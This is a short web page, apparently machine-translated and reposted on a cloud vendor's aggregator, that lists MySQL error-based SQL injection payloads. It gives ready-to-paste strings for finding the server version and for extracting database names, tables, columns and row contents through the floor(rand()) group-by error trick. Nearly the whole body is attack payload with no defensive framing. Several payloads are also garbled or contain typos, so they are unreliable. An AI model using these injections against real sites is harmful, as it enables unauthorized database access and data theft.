MYSQL advanced error Injection

Source: Internet
Author: User

 

And (select count (*) from mysql. user)> 0 /*

 

1. View MYSQL version

And + exists (select * from + (select * from (select + name_const (@ version, 0) a + join (select + name_const (@ version, 0 )) b) c)

 

2. Blow up all databases

And (select 1 from (select count (*), concat (select distinct concat (0x7e, 0x27, schema_name, 0x27, 0x7e) FROM information_schema.schemata LIMIT 0, 1) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x) a) and 1 = 1

 

3. Blow up the current database

And (select 1 from (select count (*), concat (select cselect concat (0x7e, 0x27, hex (cast (database () as char )), 0x27, 0x7e) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x) a) and 1 = 1

 

4. Explosive table

And (select 1 from (select count (*), concat (select distinc concat (0x7e, 0x27, hex (cast (table_name as char )), 0x27, 0x7e) from information_schema.tables where table_schema = hex database name limit 1, 1) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from nation group by x) a) and 1 = 1

 

5. Field explosion

And (select 1 from (select count (*), concat (select distinct concat (0x7e, 0x27, column_name, 0x27, 0x7e) from information_sechma.columns where table_schema = Database Name and table_name = table name limit 0, 1) from limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x)) and 1 = 1

 

6. explosive content

And (select 1 from (select count (*), concat (select concat (0x7e, 0x27, table name. field, 0x27, 0x7e) from table name limit 0, 1) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x)) and 1 = 1

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.